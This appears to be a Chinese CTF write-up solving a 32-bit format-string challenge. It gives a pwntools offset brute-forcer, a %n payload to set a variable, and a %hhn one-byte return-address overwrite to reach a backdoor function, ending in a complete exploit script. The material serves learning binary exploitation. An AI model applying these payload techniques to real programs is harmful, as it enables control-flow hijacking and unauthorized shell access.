之前通过攻防世界 String 已经初步了解格式化字符串漏洞的利用原理和利用方式。现在通过这道题精进。

题目名:format_string

提取路径https://pan.baidu.com/s/1e9I59FhilppS9QIhQWND0A

提取码:F1re

# 代码审计

checksec 一下:

3

很简单的一道题噢,就只开了 NX 不可执行不让你 shellcode。

扔进 IDA 观察一下,发现漏洞所在地:是个三十二位程序的格式化字符串漏洞。

1

程序先泄露了 v3 的地址,然后有第一个格式化字符串漏洞,如果满足 v3=12 的话,触发第二个格式化字符串漏洞。

2

一个后门函数。

# 利用思路

# 第一步:

1. 首先是需要先将 v3 的值改为 12。这可以利用格式化字符 % n 实现。

构造方式是 v3_addr+%() c%()$n。其中两个括号内的内容是我们需要填入的内容。

首先让我们了解一下 % c,% c 除了输出字符之外,还可以通过 % ac 来填充输出内容至 a 个,用空格在原内容左侧填充。例如:

1
2
char a='g';
printf("%4c",a);

以上代码的输出结果就会是 "g",其中 g 前面有三个空格填充总字符至 4 个。

因此合理利用 % c 来填充字符。由于 p32 (v3_addr) 占四个字符,要填充至 % n 前有 12 个字符来使 v3 的值被改为 12,所以我们构造 payload1=p32 (v3_addr)+%8c%()$n 即可。现在只需确定格式化字符串偏移。

# 题目限制一:

​ 1. 题目读入 format 和 v1 时,都限定了长度。这长度限制对于以往的处理方式很致命。

导致的问题有:

​ ①:不能用 aaaa-% x-% x… 来泄露格式化字符串偏移,因为这样读入的字符数太多。

​ ②:填充字符时不能用 aaaaaaa 等长串,需要利用 % c。

解决办法:

利用 % k% x 去泄露不同位置的值。直到找到偏移,我比较笨,不会用 gdb 看偏移。这里我写了一个爆破脚本:通过输入 aaaa - 以及找到其偏移来确定格式化字符串偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
i=0
while True:
i=i+1
print(i)
r=process('/mnt/hgfs/ubuntu/format_string')
r.recvuntil("\n")
payload1 = 'aaaa-'+'%'+str(i)+'$x'
r.sendline(payload1)
r.recvuntil("-")
message=int(r.recv(8),16)
if message == 0x61616161:
break
else:
r.close()
continue

运行结果:

1
2
3
4
5
6
7
14
[+] Starting local process '/mnt/hgfs/ubuntu/format_string': pid 8748
[*] Stopped process '/mnt/hgfs/ubuntu/format_string' (pid 8748)
15
[+] Starting local process '/mnt/hgfs/ubuntu/format_string': pid 8750
[*] Stopped process '/mnt/hgfs/ubuntu/format_string' (pid 8750)
zb@ubuntu:~/pwn$

运行到 15 停止,我们运行程序验证一下:

4

发现偏移确实是 15, 那么第一个限制就解决了:

我们构造 payload1 为:

1
payload1=p32(v3_addr)+b'%8c%15$n'

# 第二步:

接下来我们进入了第二个格式化字符串漏洞的利用。这次能输入的长度有 20 个字符。

首先我们明确一下格式化字符串漏洞能做到什么:

①:任意地址写

②:泄露 format 参数所在栈里面的内容。

因此我们有如下思路:

①:去修改某个函数的 GOT 表,让其变成 system 函数的地址。

②:去改写函数返回地址。

很明显,第二个格式化字符串漏洞利用后程序就会终止,在这之后没有函数可以让我们修改 GOT 表。

因此我的思路是:

①:要么直接修改函数返回地址为后门地址

②:修改函数返回地址为 vuln 函数对 v3 赋值为 666 这句语句之后的地址,由于我们之前已经改变过 v3 的值,因此我们不用更改 v3 都可以再触发第二次格式化字符串漏洞。就这样再来两次格式化字符串漏洞,子子孙孙无穷尽也,直到不断利用格式化字符串漏洞达到我们的目的。

很显然哦,第一种简单的多了,那我们先去找到函数返回地址处于何处。

5

通过 IDA 栈图,var_c 是 v3,而 r 处于 v3_addr+16 的位置。

去 gdb 里面调试验证。

6

7

其中 0x0804873E 确实是 call vuln 后的返回地址,那我们只用修改这为我们后门函数的地址值就行。

通过相同的脚本爆破

# 题目限制二:

后门函数要 close,怎么办???

解决办法:

当然是直接跳转不 close 的地址啦

8

直接跳 0x8048793 就行啦。

我最初构造的 payload2:

1
payload2=p32(v3_addr+16)+b'%134514569'+b'c%7$n'

这样理论上是可行的。但是我发现发送 payload2 后系统不停向我发送:

1
sent b'32'*0xfff

系统一直给我发空格。这是由于 print(payload2)的时候要输出 134514573 个空格,这样发送大量字符会导致服务器卡顿甚至崩溃。

因此我们基本上都采用一个字节一个字节去改地址的方法,也就是采用 hhn 去改四次。

32 位格式化字符串漏洞里 pwntools 有一个函数:

fmtstr_payload

这个工具原理,实现过程我就不说了,大概就是他会自动帮你构造 paylaod,只需你提供

1. 偏移量。

2. 需要改变的地址。

3. 改变后的地址。

他就是通过每个字节每个字节来改变的。

但是这道题显然不行,fmtstr_payload 返回的 payload 太长了,不满足题目的长度限制。

后来去观察了一下返回地址和后门地址只有最后一个字节不同。那我们就只用改最后一个字节就行了。

最后由于小段字节序的原因,返回地址的最后一个字节的地址就为 v3_addr+16。

因此我们构造的 payload2:(143=0x93-4)

1
payload2=p32(v3_addr+16)+b'%143'+b'c%7$hhn'

# 最终 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level = 'debug'
r=process('/mnt/hgfs/ubuntu/format_string')
r.recvuntil("First step:\n")
v3_addr = int(r.recvline()[:-1],16)
print(hex(v3_addr))
payload1=p32(v3_addr)+b'%8c%15$n'
r.sendline(payload1)
payload2=p32(v3_addr+16)+b'%143'+b'c%7$hhn'
r.recvuntil("nice you enter there\n")
r.sendline(payload2)
r.interactive()